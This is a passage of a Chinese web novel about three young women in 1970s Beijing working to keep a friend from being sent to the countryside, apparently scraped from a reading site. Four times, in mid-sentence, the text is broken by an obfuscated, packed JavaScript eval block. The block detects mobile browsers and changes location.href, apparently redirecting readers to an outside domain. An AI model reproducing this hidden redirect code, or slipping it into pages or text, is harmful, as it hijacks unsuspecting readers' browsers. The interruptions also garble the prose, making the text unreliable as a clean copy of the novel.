没待几分钟,派出所的人除了值班的都下班了。 回家的路上,梁友佳走在中间,挽着两个人的胳膊,宽慰她们:“别担心了,大不了就下乡嘛,说不定我能在乡下闯出自己的一番事业,实现自我价值呢。” 这话在下乡刚开始时还有人说,现在一个个为了留城都快疯魔了,哪有心思再说这些大话。 没下过乡还没去过学农学军吗? 当初去城郊附近学农,坐了半天车,腰酸背痛,没歇多久便又要下田帮村民种地。 她们这些城市孩子能懂啥种地,不仅给农民伯伯添麻烦,更是把自己累得不轻。 干了半下午,熊幼美累得筷子都拿不起来,梁友佳边干边哭,唐虎薇适应最好。 果然有力气在哪都能活得很好。 咳,想远了,现在当务之急是留城里。 当天晚上吃完饭好友三人组在大院的秘密基地碰头。 所谓的秘密基地实际上就是楼后的一棵大树下。 熊幼美一边啪啪拍蚊子一边问:“佳佳,刚才在派出所你有相中的男同志吗?” 梁友佳脸颊浮上一层薄粉,笑瞪她一眼,“又不是相亲,哪有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491182|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面就相中的!” 唐虎薇总结:“那就是没有相中的了。” “那咋办啊,你们也想想还认识什么优秀男青年没有。” 伴随着熊幼美说话声的是拍巴掌的声音。 唐虎薇按住她不安分的手,“消停点儿吧,你又拍不中一个,瞎拍啥,还不够吵的。” “嘿,我这是起到威胁作用,把蚊子吓跑。” “别贫了,快继续想。” 熊幼美发散思维:“咱班的小华咋样?长得挺不错的,性格也好玩。” “不行,他一点主见都没有,什么都听他爸的。” “那小严咋样?咱班长,够有主见了吧?” “不行,整一个闷葫芦,佳佳和他在一起会被憋死的。” “季风哥呢?和咱一起长大,知根知底。” “不行,他已经有意中人了。”唐虎薇想也不想地拒绝。 熊幼美大惊:“啊?谁啊谁啊?我认识吗?长得漂亮吗?” 唐虎薇眼底闪过一丝懊恼,说顺嘴了。还好小熊比较迟钝,眼里只有赤裸裸的八卦热情。 “不知道,下一个。” “那后面二号楼张婶婶的儿子?” 小虎的嘴最严实,她不说怎么问都没用,所以熊幼美决定下次见到季风哥的时候亲自问他。 “不行,才刚刚一米六,太矮了。” 梁友佳听着两个好朋友就这么大剌剌地点评起认识的所有男生,脸色爆红,和她们比起来,她还是太普通了。 这个年代风气保守,少有姑娘敢这样挨个评价男同志。 说了一圈都没有合适的,小虎小熊陷入沉思。 唐虎薇突然拍掌:“啊,我想起一个,你哥咋样?” 熊幼美没反应过来,下意识问:“我哥?谁啊?” “……” “就你哥啊,还能有谁?” 梁友佳剧烈摇头:“桦哥不行的,他肯定不会喜欢我的。” “……” 熊幼美语塞,她想劝佳佳自信起来,可是这样一说不就是在鼓励她和熊桦处对象吗? 虽然这样也挺好,但是由她这个妹妹说出来很奇怪。 熊幼美挠挠脸,“如果你真的喜欢他,我当然支持,也算熊桦找到一个好归宿。” 梁友佳红着脸一个劲儿摇头。 唐虎薇和熊幼美对视一眼,同时搭上她的肩膀,唐虎薇:“你如果喜欢就告诉我们,我们从小一起长大,有啥好瞒的。” 熊幼美附和:“对啊,你喜不喜欢他都不影响我们的友谊啊。” “我只是有点好感,因为很少有男生像他这么高。”梁友佳低头怼手指。 唐虎薇不理解:“这算什么理由?” “对啊,我哥没有别的优点了吗?” 梁友佳急急地辩解:“有,当然有了,只是我最希望有个高大的人能保护我。” “这点小虎也能做到啊,她往巷子口一站,你看哪个坏人敢沾边。” 唐虎薇:“……” 虽然是恭维,但是为什么听着这么不对劲? 梁友佳跺脚:“那你们想让我说什么嘛!” 熊幼美举手投降:“好吧,理由充分,我现在就回家试探我哥的态度。” “啊?现在就去吗?要不再让我考虑一下。” “没时间了佳佳,你可上点心吧,想想以前学农的日子,你还敢拖延吗?” 她对自己的工作都没有这样上心。因为佳佳只有她自己,家里靠不住,她和小虎就要多帮她想办法。 “好……但是你要委婉一点哈。” “保证完成任务!”熊幼美扬扬手指,快步回家。 11. 熊大拒绝包办 熊幼美噔噔噔跑上楼,进屋巡视一圈,没有看见熊桦的踪影,正当她想出门找的时候,熊桦刚好推门进来。 看她神头鬼脑的模样,熊桦疑惑:“咋了?你找什么呢?” “找你呗,哥,咱们去你房间聊呗。” 李虹霞和熊爱国出去玩了,不外乎是下棋或是唠嗑。 熊桦跟着她回房间,不知道她又要出什么幺蛾子。 熊桦平时不喜欢别人进他房间,熊幼美也很少来,屋里的东西摆放整齐有序,床单被子铺得平整。 没想到她哥还挺爱干净的。 熊幼美靠着门,摸着下巴,居高临下地打量坐在椅子上的熊桦。 李虹霞的基因很好,熊幼美和熊桦都是浓眉大眼的长相,头发乌黑浓密,皮肤光洁。相比其他大部分人面黄肌瘦,他们的生活条件显然很不错。 熊桦虽然比熊幼美黑一些,但是要比熊爱国强多了,因为技术员的工作不需要整天风吹日晒。 他的眼神尤其犀利,仿佛要将和他说话的每个人都洞悉明彻才罢休。 迎着熊桦怀疑的目光,熊幼美捏捏耳垂,“哥,你这么看我做什么?” 熊桦:……他们到底谁看谁啊? “你找我有啥事?缺钱了还是要求我帮忙?” “都不是,我是……想给你介绍个对象,你咋想?” “什么咋想,你连是谁都没说,我能想啥?” “那个人你认识的呀,就是我的好朋友。” “好朋友?小虎子?不行啊,她是我看着长大的,根本不可能的事儿!”熊桦第一反应是唐虎薇,严肃拒绝。 “……你想得美,小虎才不喜欢你呢。” “你就别兜圈子了,快说是谁吧,我等会还要下去跑步呢。” “佳佳。”熊幼美不担心他会出去乱说,因为熊桦很有分寸感。 “佳佳?她回来了?” “对啊,现在的情况很紧张,她急需找个工作或者找个人结婚,不然就要下乡了。” “一个人去外地,她那样的性格,肯定被吃的渣都不剩了。” 熊桦抱臂,调整坐姿,好整以暇地盯着她,似笑非笑地问:“所以你就把你哥给推出来了?” “哎呀,反正你也没有喜欢的人,你们知根知底不是挺好的吗?” 熊幼美扯扯他的袖子,试图多说一点来说服他。 熊桦抬手打断,把她拉到自己的面前,盯着她的眼睛严肃道:“我不可能因为这样的理由和一个人结婚,就算别人都不把结婚当回事,我也要坚持自己追求幸福的权利。” “这件事没得商量,我会帮她打听工作的,结婚这事我就当你没提过,我也不会往外说。” 熊桦第一反应是觉得好笑,笑过后则需要表明态度,无论哪一刻,他其实都没有生气。 因为小美就是这样一个强同理心的孩子,小时候会帮朋友出头,长大了体谅朋友的难处,他都能理解。因为她有一颗玲珑心,总是对别人的喜怒哀乐过于感同身受。 幸运的是,她吸引来的都是好人,这也证明她不仅善良,也很聪明。 熊桦是很为有这样一个妹妹自豪的。 熊幼美眨眨眼,过了两秒钟,她点评:“哥,你刚刚说话好成熟啊。” 熊桦拍拍她的头顶,把她转个方向,推着她往外走,“快去找你朋友吧,以后不许打我的主意,说不结婚就不结婚。” “好吧。” 熊幼美重新认识了自家总是撒娇的哥哥,原来他其实心思很细腻,不愧是妈妈教出来的孩子。 熊幼美下楼向朋友们报告了这个消息。 梁友佳脸颊涨红,“没,没关系,个子高的又不只有桦哥。” “对呀对呀,我现在就想想还有谁长得特别高!” 唐虎薇也说:“没错,我回头跟我同事打听打听。” 梁友佳抬手揉头发的时候擦过眼眶,好在夜色暗沉,朋友们都没注意到她的小动作。 这个晚上,梁友佳躺在自己的小床上,望着窗外朦胧月光,她仿佛坐在一叶小船,随着海浪起伏。 也许,下一刻船就会翻,也许下一刻,就会到抵达岸边…… 幸运的是,虽然同住一栋楼,但是她和熊桦哥好几天没有碰面,也就不用担心尴尬了。 熊幼美家的早饭惯常是很丰盛的,小美比其他人多一个鸡蛋,她最近开发了新的吃法。 餐桌上的其他人一言难尽地瞅着她吃鸡蛋,就见她先把一整个鸡蛋塞嘴里,果不其然被噎住了。 这个时候端起桌子上晾了一会儿的中药一口闷。 闷完中药,熊幼美拍拍胸口,长舒一口气。这样一套流程下来,被噎住的焦急就会让她忘了细品中药的苦涩。 熊桦:“至于这样吗?又不是让你咽树皮。” 谢医生给开的中药里面都是好药材,喝了一段时间熊幼美脸色白里透红,补得气血足,脸色好。 “咳,这样的比较没有意义,我觉得苦那就是苦啊。”熊幼美冲着李虹霞摊开手,哀求:“妈,我还想吃糖,嘴里苦,反胃。” 李虹霞眼皮一颤,一口闷掉碗里的米汤,灌了个水饱。 “妈~”熊幼美拖长音。 李虹霞无奈:“不能吃糖了,你再吃牙就坏了,你忘了小时候牙疼的整夜睡不着觉了?” 不管什么时候糖都是个好东西,熊幼美小时候只要她要,李虹霞就给买,疼孩子的家里都这样。 导致后来换牙期还没到,熊幼美的乳牙就被虫吃了。 牙疼发作的时候,她哭了半个晚上,哭声贯穿整栋楼,脸上的泪珠顺着肉脸颊一直往下淌,擦不完,不敢擦,一碰就疼得哇哇叫。 李虹霞又心疼又懊悔。 虽然第二天就被带去医院拔掉了蛀牙,但是给李虹霞甚至大院儿的邻居留下了深深的阴影,现在还有人拿这事儿打趣熊幼美。 “好吧。”比起苦,熊幼美更怕疼。 今天是周末,熊幼美打算上午去邮局瞧瞧有没有新的邮票,以及她笔友的信今天也会到。 不知道信封上贴的什么邮票。 “有没有人想和我一起去邮局啊?” 李虹霞摇头:“我等会要去找你许阿姨,她那来了批新布料,我过去挑挑,顺便买点油盐酱醋。” “那爸呢?”熊幼美自问自答:“我知道了,又是去钓鱼对吧?爸,现在天气多晒啊,小心中暑。” 熊爱国黑糙的脸上咧出一个笑,“不热,找个阴凉地儿就行了,我先走了,去晚了就没位置了。” 他拎起鱼竿和饭盒就走,鱼竿是熊爱国自己做的,琢磨了许久才做成,为的就是不花一分钱,白白收获许多鱼。 “好吧,都是大忙人,那我也走了啊。”熊幼美扣上草帽也出门了。 熊桦:……就没人想问问他的行程安排吗? “妈~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491183|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看她,她故意忽视我。” 李虹霞若无其事拎起包,“……我先走了,布料紧俏,不赶紧去就被人挑完了,你记得刷碗啊。” 星期日,轮到小美了啊。 熊桦刚反应过来,追出去撑着栏杆往下一看,她妈已经骑着自行车出院子了。 得,一个个撤的倒是挺麻利。 熊桦认命地收碗洗碗,洗完擦擦手,装上几本书放进挎包。 他今天要去图书馆看书,顺便还书。 做研究员不仅要有自己的想法,还要有见识。 图书馆是长见识最好的地方,而且还免费。 熊幼美去隔壁喊小虎一起去,小虎却说要值班。 “小虎,你有信要我给你捎回来吗?” 唐虎薇正正衣领,和她一起往外走,“没有,我又没有笔友,不像某些人朋友遍天下。” 初中时她们学校流行交笔友,五湖四海的人都有,她随大流写过几封信寄出去,但是很快就没了兴趣,还是抓小偷更有成就感。 “哼,那些腊肉和奶干不好吃吗?这就是朋友多的好处。” 她的两个笔友分别是东北和新疆的,来往书信有几百封,逢年过节还会交换特产。 “好吃是好吃,如果我们能有机会去她们那玩就更好了,我做梦都想骑马。” “唉,我也想啊,可惜去不了,只能看看她们寄来的照片一饱眼福了。” 介绍信一般不会给个人开,都是以单位的名义开,她总不能去新疆收破烂吧? 说着她们到了梁友佳的家门前,“佳佳,佳佳。” “来了。”梁友佳拨了拨额前的刘海,匆匆道:“我们走吧。” “小虎去不了,她要在所里值班。” “那就我们俩去,中午我们去找小虎吃饭行不?我做好装饭盒里带过去。” 熊幼美认为这个提议很好,跟着说:“我妈说中午要炖鸡,我给你捎一个鸡腿犒劳你,就当是我们家为稳定社会治安出份力了!” 唐虎薇忍俊不禁:“给我一个鸡腿就是为社会出力了?你也太会给自己贴金了吧,小熊。” 梁友佳:“小熊,我想吃鸡翅膀。” 熊幼美大手一挥:“行,都有,都有,我爸炖的鸡汤一绝,一点都不腻,还有芝麻大饼,更香!” 芝麻也是好东西,不仅油分大,而且营养价值高。家里的芝麻是熊爱国跟钓友偷偷换的,可遇不可求,所以尤其珍贵,难得才能吃上一回。 每张饼上少少地撒一点,沾个味就行。 芝麻混合着白面的香气,放点盐,越嚼越香,一点吃不腻。 唐虎薇回想起大饼的滋味,口齿生津,她追问:“什么时候蒸啊?我去给叔叔帮忙,咱有的是力气。” “中午蒸一回,晚上再蒸一回,现在天气热,不能放,所以不能蒸多了。” “那我晚上去给叔叔帮忙,让叔叔等着我啊,我要吃刚出锅的。” “好,到时候佳佳也来,买上几瓶饮料,咱们大家一起吃更热闹。” 梁友佳犹豫地踢了踢石子儿,“我就不去了吧,看见桦哥多尴尬啊。” “那有啥的,咱们几个认识十多年了,还能因为这一点点小事儿就不见面啦?” “好吧。”梁友佳耳根子软,觉得她说的有道理。 到了巷子口的派出所,熊幼美和梁友佳看着唐虎薇大步迈进所里,她们则继续往前走。 12. 蒸芝麻饼,就这个香 “今天街上人也蛮多的诶,对了,你下乡的事你爸怎么说的?” 梁父就佳佳一个亲生女儿,但是他本身没有多大能耐。 “他说走的时候会给我带点钱,每个月寄物资给我。” “那你后妈的工作会让给你妹妹吗?” “嗯,她在纺织厂上班,让给乐乐也挺合适的。” “……” 熊幼美沉默,不知道如何安慰她。 “实在不行你就去东北,我那个笔友是东北农村的一个村支书家的女儿,应该可以照顾你,而且东北靠山吃山,不缺吃的,冬天还能休息,不用干农活。” 她绞尽脑汁终于想出一个拐弯抹角的办法,而且越想越觉得可行。 “太麻烦人家了,我和她又不认识。” 梁友佳虽是这么说,脸上的笑容情不自禁绽放,她高兴的是好朋友为她费尽心思。 “我回头给她写信跟她说一声就好啦,她人特别仗义,你肯定能和她相处得很好,你记得之前吃的腊肉吗,我们整整吃了一个冬天,就是她给送的,你就说这人够不够意思吧……” “嗯。”梁友佳背着手望向飘着白云的蓝天,郁结的心情在好朋友的絮絮叨叨中渐渐烟消云散。 她忽然觉得,下乡也没什么,无论如何,她都不用担心自己孤独。 街边一辆吉普车驶过,车窗里的人侧过脸,不经意瞥了一眼。 刚好看到她眉心舒展,笑容恬静,像一幅温柔美丽的画卷缓缓展开,在夏日里让人如沐清风。 …… 邮局几乎所有人都认识熊幼美。 这孩子从小到大三天两头地来,有时候自己来,有时候家长朋友陪着,想不眼熟都难。 一进门就有大姨招呼她:“小熊,你又来啦?这回是买邮票还是寄信啊?” “嘿嘿,随便看看,顺便取个信。” 拿到信便拉着梁友佳跑到隔壁的邮票柜台,目不转睛地盯着新邮票看,恨不得用眼睛把它们吸出来。 这是今年夏天新出的一套儿童歌舞邮票,一套五枚,图案是穿着民族服饰跳舞的剪纸小人。 邮票上的小人儿被剪的栩栩如生,仿佛真的在邮票上跳舞、敲鼓。 “我,我要这个!”熊幼美激动地有些磕巴,两眼放光。 “我要两套,一套用,一套寄信。” 柜台里的金云凤掏出两套递给她,“我就知道你肯定要买,最后两套都给你留好了,喏。” 一听是最后两套,她眼中的光更胜刚才,擦了擦掌心,小心接过。 “谢谢金姐姐,谢谢!我现在上班了,所以不能跟以前一样有空就来。” 她的兴奋感染了金云凤,她笑着打趣道:“别光顾着乐啊,给钱呐。” “噢噢。”熊幼美赶紧掏钱。 “瞧你都乐傻了,有那么高兴吗,我天天在这看柜台,一点感觉都没有啊。” “嘿嘿,就是那么高兴,买了就满足。而且我妈说有个喜欢的事不容易,要坚持。” 金云凤最近刚怀孕,心情正好,笑骂:“傻丫头,不过你妈说的对,下次新到了我还给你留着。” “嗯嗯!” 回去路上熊幼美靠在梁友佳肩上往前走,举着邮票看不够。 梁友佳提醒:“看路,小心绊倒。” “知道啦。” 她正仰着头看邮票,却被高大的人影挡住光,她移开邮票,才发现来人穿着一身绿色军装。 时下的人对军人有着发自内心的敬畏,熊幼美也不例外。 她下意识地挺直脊背,双手贴裤缝,“同志,您有什么事吗?要问路?我是土生土长的北京人,您问我就成,没有我不知道的地方?医院在……” 她尤为热情,帮助解放军同志,哪有不乐意的。 男人冲她们敬礼,“你们好,我想请问……” 他顿了好一会,熊幼美疑惑:“问什么?你想去百货大楼还是哪个单位?” “我想问你身边这位女同志是否婚配。” “啊?”这要是一般陌生男人问,妥妥的耍流氓,但是军装的影响力不是一般的大。 熊幼美看向梁友佳,梁友佳垂下睫毛,声音轻颤,“没有。” “好,我知道了。” 熊幼美这才把眼神从军装上挪走,看向他的脸,来人大概二十七八岁,比她们稳重许多,面容英俊阳刚,棱角分明。 即使问出如此突兀的问题,他的神情仍然淡定自若。 “嗯。” 熊幼美傻眼,他到底知道什么了?佳佳又嗯什么? 男人走后,熊幼美缓缓凑近梁友佳问:“你和那个军人怎么回事?老实说!” 这一看就很有情况。 “我们之前有过一面之缘,我从我妈那回来的时候,在火车站遇到小偷,他刚好路过顺手帮我把钱包追了回来。” 她说得轻描淡写,熊幼美探头观察她的表情。 梁友佳脸皮薄,很容易脸红,她的心思一目了然。 “啧啧啧,这是一面之缘呀,我怎么感觉是英雄救美呢?” 梁友佳支支吾吾说不出来。 中午唐虎薇知道后,替她反驳:“什么啊,这顶多算见义勇为。” “而且我听你们讲他说话的语气,这人太霸道了,自说自话,根本不管别人的感受,很烦人。” 八卦归八卦,熊幼美赞同小虎。 “感觉和我们不是一个世界的人,算了,应该只是萍水相逢,不用在意啦。” 李虹霞是街道办妇联的主任,见识过不少破裂甚至惨烈的婚姻,这些婚姻无不有一个女人遍体鳞伤,有几个孩子胆战心惊,颤颤巍巍。 听过这些真实事件,唐虎薇和熊幼美对男人的底线都有清晰的认识。 梁友佳刚刚升起的一点旖旎心思在朋友的三言两语中便烟消云散。 这样的人不适合她,而且人家也不可能看得上她。 当天晚上唐虎薇和梁友佳聚在熊幼美家里揉面蒸芝麻千层饼。 一张大案板放在餐桌上,几人围着桌子忙活,熊桦和唐虎薇站着揉面,其他人擀面团。 昏黄的灯光下,大家说说笑笑,热闹又开心。 熊幼美爱玩,不爱劳动,偷闲坐在窗户底下吹着夜风描画小人。 李虹霞坐在她旁边,一边打扇,一边看她画画,她画不腻,她也看不腻。 “听说你和虎薇在给佳佳找对象?” “对啊,妈,你听谁说的?” “还用听人说?你是我闺女,心里的小九九我不问也能猜出来。不过,今天下午有人去街道办打听佳佳,听说来头大着呢。” “打听她干啥?我已经把佳佳托付给我在东北的笔友了,哎对了,我现在就得写信。” 熊幼美没往心里去,四九城多的是大来头的人,一块砖掉下来,能砸倒四五个有来头的。 李虹霞就看着闺女说一出是一出,把画本一推就开始写信。 熊幼美对李虹霞没有秘密,当场开写。 李虹霞却有隐私意识,她掏出信封,她便走回屋中间,融入那团乐融融的氛围,远离了纸墨香,走进了面香和芝麻香里。 唐虎薇举着一张面给她看:“李姨,你快看我擀的饼,圆不圆?” “不错不错,小虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491184|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擀的又圆又匀。” 梁友佳不甘示弱举起给她看,李虹霞笑眯眯地夸:“佳佳也是一如既往地心灵手巧,不仅做饭好吃,蒸饼也在行,以后到哪儿都不用担心饿着自己了。” “不过要是做腻了就去找小美玩,剩下的让你熊叔和桦哥做。” 熊桦在外人面前一贯矜持,没有抱怨,默默应下来。 熊幼美把写完的信放好,再出来时正好看见厨房云雾缭绕,热气腾腾。 “快把窗户打开散散气,要熏中暑了。” 熊桦胳膊长,咔哒一声推开厨房的小窗,面饼的香气溢满邻里,隔壁的唐虎薇家闻得最清楚。 林梅随口抱怨:“小薇又不在家吃饭,下班了也不知道帮我带带弟弟妹妹。” 唐父不耐烦,打断她:“她长大了,你就别啥事都想管了,你管她也不会听你的。” 林梅半耷拉着眉毛不悦,她怎么会养出这么个离经叛道的闺女? 隔壁的唐虎薇两手倒着一张饼,烫得龇牙咧嘴,咬了一口赶紧放到碗里,“好吃,熊叔下次再做的时候要喊上我,真香啊。” 熊桦脸色如常,一点看不出之前的小插曲,给她们倒饮料,并且说:“你们要是能整来芝麻,我和我爸立马就做。” 梁友佳讷讷点头,唐虎薇则在琢磨巡逻过的哪家哪户能换到芝麻。 饭桌上不仅有暄软的芝麻饼,还有熊桦炒的一荤两素,凉拌黄瓜,炒青菜以及重头戏——草鱼炖豆腐,而且是两条鱼! 熊幼美骄傲:“豆腐是我排队买到的,这是最后一块,你们就说我这个运气怎么样!” 梁友佳:“我证明,她拉着我一起去排的,只不过排到一半她跑去跟小孩跳大绳了。” 当场被拆穿,熊幼美摸摸耳垂,只有一点不好意思地说:“嗯……那就算我们一起买的好了。” 李虹霞给她夹豆腐:“今天我们小美辛苦了,这是给你的奖励。” 熊幼美乐了,还是亲妈最捧场。 “谢谢妈。” 白乎乎暄腾腾的面饼上点缀一小撮黑芝麻,蘸上一点浓白的鱼汤,咸香咸香的。 梁友佳递给她小半碗鱼肉,熊幼美吃得更得劲了。 这个过程谁都没说话,自然地像空气流动。 熊幼美不爱吃鱼,因为鱼刺难剃干净,特容易扎到上牙膛。所以有时候是家人帮她,有时候是朋友给她,反正不缺鱼肉吃。 吃完饭后,李虹霞突然从厨房端出一盘糖拌西红柿。 水果稀少,每次一到供销社就被内部人员抢购一空,很多人只有逢年过节单位发福利时才有得吃,平常就让西红柿充当水果。 红润润的西红柿片上洒满了白色糖粒,西红柿的酸直冲鼻尖,刺激人下意识口齿生津。 “哇,居然还有糖拌西红柿,还好我还留了一点肚子。” 她惊讶完赶紧招呼朋友:“小虎,佳佳快吃,不然就让我哥都吃完了,他能一口塞五片呢。” 熊桦压低声音:“熊幼美!” 熊幼美不理他,熊桦见状,立马抄起筷子一口塞了五片。 选择用事实坐实谣言。 “妈,你看熊桦!” 李虹霞变戏法似的从厨房又端出一盘红艳艳的凉拌西红柿。 “你妈我早有准备,这是我特地给你们准备的,你们端回屋慢慢吃吧,边吃边说话看书都行。” “谢谢妈!”她迅速接过,走时冲熊桦挑衅地皱皱鼻子。 熊桦冲着她大吃一口,两颊塞满。 威胁性约等于零,好笑性百分百。 熊幼美摇摇头,太傻了,这样的哥哥嫁得出去吗? 13. 啊?啊?巧取豪夺? 当天晚上三个小姑娘挤在一张床上,还好熊幼美卧室的床比一般的床大。 因为熊幼美小时候睡觉不老实,不仅爱打滚还爱翻身,翻着翻着就掉下去了,于是李虹霞便让人做了一张加宽的大床,让她随便翻,倒着个儿地睡都成。 夏天的清晨霞光漫天,阳光从窗帘的缝隙溜进来,停驻在三个女孩的脸上,细小的绒毛清晰可见。 梁友佳眯着眼睛看向窗帘,准确的说是那一缕金色阳光,“几点了?” 唐虎薇按压鼻梁,挪开熊幼美搭在她身上的手臂,挣扎着起身:“该起床了。” 昨天聊得太晚,她们三个从育红班开始一直聊到高中,间隙把彼此的糗事拿出来讨论一番。 熊幼美纹丝不动,睡得太死。 唐虎薇推推她,熊幼美才有意识地嘟囔一声:“今天不是休息吗?” “……别做美梦了,昨天已经休息过了。” 梁友佳接手:“小虎你去跑步吧,我来喊她。” 唐虎薇冲她点点头便利落地翻下床,穿衣洗漱出门,一溜烟一样就下楼了。 熊爱国透过厨房窗户看到楼下精神满满的唐虎薇,感叹:“小虎精力真好啊。” 熊桦:“我看她练成这样以后谁敢娶她。” 李虹霞听着不顺耳,顺手给他背上来了一下。熊桦嘶了一声,夏天的短袖料子薄,李虹霞的手劲儿不是闹着玩的。 “妈,我又没说熊幼美,你打我干啥?” “谁让你嘴欠了,我这叫见义勇为。” “……”这就见义勇为了?那这门槛也太低了吧! 熊爱国头都不抬,权当听个响。 熊桦揉着后背,今天也是心凉的一天…… 唐虎薇有固定的晨跑路线和时间,所以每天都会在同样的地方见到同样的人在做与昨天一样的事。 有人喜欢端着碗到门口吃,方便与左邻右舍唠嗑,也有人家一大早就爆发出孩子的哭声,还有人在这个时间跨上自行车出门上班…… 唐虎薇跑完一圈下来,身心格外满足,她其实有一点隐秘的心思不好意思对别人讲。 她认为她的工作就是维护这样和平又普通的日常,由此而生一种巨大的责任感和使命感。 当然,这是很没有道理的,她只是个小民警,处理的都是日常小纠纷,和维护和平关系不大。 但是不妨碍她在心里偷摸地自娱自乐,她坚信自己努力下去,总有一天会凭能力调到市局。 回到钢厂家属院,她抬头一看,知青办的人正在二楼敲梁友佳家的门。 她快步赶上去,刚好看见疲惫的梁父把知青办的同志送走。 唐虎薇目光犹疑,盯着知青办工作人员的背影看了一会儿,他们什么时候这么好说话了? 她扭头看向梁父。 “梁叔,他们是来催佳佳下乡的吗?” “唉,知青办同志态度坚决,佳佳要是再不下乡,我这个车间小组长就要被撤了。这次看样子是拖不下去了。” 唐虎薇不知道说他什么好,各人有各自的立场,她指责不了什么,淡淡地打过招呼便大步爬上三楼。 她要赶紧告诉佳佳和小美这个消息。 听说这件事的时候,熊幼美正在吃杂粮窝窝头,白面放的多,不喇嗓子,又有嚼劲,里面夹点小咸菜,滋味很不错。 但是她还是被噎住了,这次不用喝中药往下顺了,喝了一口白白的米汤。 中药已经喝完了,最近事情太多,她还没来得及复诊。 气还没缓匀,她急切抬眼看向小虎:“知青办真的来了?他们怎么这么早就来了?” 李虹霞倒是了解情况,“可能是为了堵人吧,佳佳,你现在是什么打算?” 梁友佳咬了一口咸菜,咯噔脆,笑着回视大家担忧的目光。 她大大方方地笑着说:“你们别这样看我啊,我已经决定了,我要去下乡,我出钱请李姨帮我找人把下乡的地方改到东北,就小熊笔友的家乡,这是我能想到的最好的解决办法了。” 在复杂的家庭环境中长大,梁友佳或许有些脆弱,也不够有主见,但是她绝不缺乏生存的韧劲儿。 其他人惊讶于她干脆痛快的决定,一时不知作何感想。 她看向李虹霞,软着声音撒娇:“行吗李姨,我有钱但是找不到门路,只能找李姨帮忙了。” 怎么会不行,这也是她看着长起来的姑娘。 “包在我身上!”李虹霞笑容明快,佳佳凭借这种当断则断的决心,以后无论在哪里都不会过得差。 …… 当天中午,想起喝完的中药,熊幼美吃完午饭抽空去了趟医院,挂了上次医生的号。 谢医生这次依旧在吃饭。 “谢医生,我来复查,您还记得我吗?” 谢长骄定睛瞧了两秒,“我记得你,小熊,姓氏很特别。” “没错没错,您给开的药我都吃完了,您现在帮我看看是不是已经好了。” 熊幼美笑眯眯地抽出椅子坐到医生对面,自来熟地伸出两只手腕。 谢长骄刚刚在吃饭,她进来的太快,他还没来得及带上口罩。 熊幼美盯着谢长骄的下半张脸,忍不住开口:“谢医生,你忘了戴口罩。” 谢长骄瞥她,熊幼美微微摇头,“别这样看我啊,医生您肯定有洁癖,还是戴上比较好。” 她注意到,每次来看病,谢医生这里的垃圾桶里装的都是用过的卫生纸,桌面一道指纹都没有,连把脉都隔着帕巾。 更别说他身后被擦得黑亮的药柜了。 谢长骄诧异于她憨直外表下的细心,他笑着说:“不用,你只是消化不良,不会传染,别说话,会影响把脉结果。” “哦。” 过了两分钟,谢长骄收回帕子,熊幼美收回两只手。 她琥珀色的眼眸紧张地扑闪着,“怎么样?还要喝药吗?” 谢长骄沉吟片刻,在熊幼美愈来愈紧张催促的眼神中缓缓开口,声音中带着笑意。 “不需要喝药,已经好的差不多了,平时按时吃饭,一顿不要吃太多。” 熊幼美靠在椅背上松了口气,虚惊一场。 放松下来后她又有心情交朋友了。 “谢医生,你有空去我单位玩呀,很有意思的。” 谢长骄没有立刻拒绝,而是问:“哪个单位?” “废品收购站。” “……” 面前的小姑娘不在意别人说自己吃得多,也不觉得在废品站上班影响形象,不知道该说她厚脸皮还是赤子之心。 就当她是赤子之心吧,不在乎别人的闲言碎语,保持着内心的天真善良与乐观。 就像……她的名字一样。 谢长骄微笑着应下:“好,我有时间会去找你玩的。” 他把口罩戴上,因为有新的病人来了。 “那我先走了,不打扰医生工作。” “好。” 她这边的午休风平浪静,甚至和耐心的谢医生增进了友谊。 另一边的家属院则引发了一场轩然大波。 熊幼美直到下午回到家才晓得发生了什么事。 好在这次她没有吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491185|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窝窝头,不然肯定又得噎住。 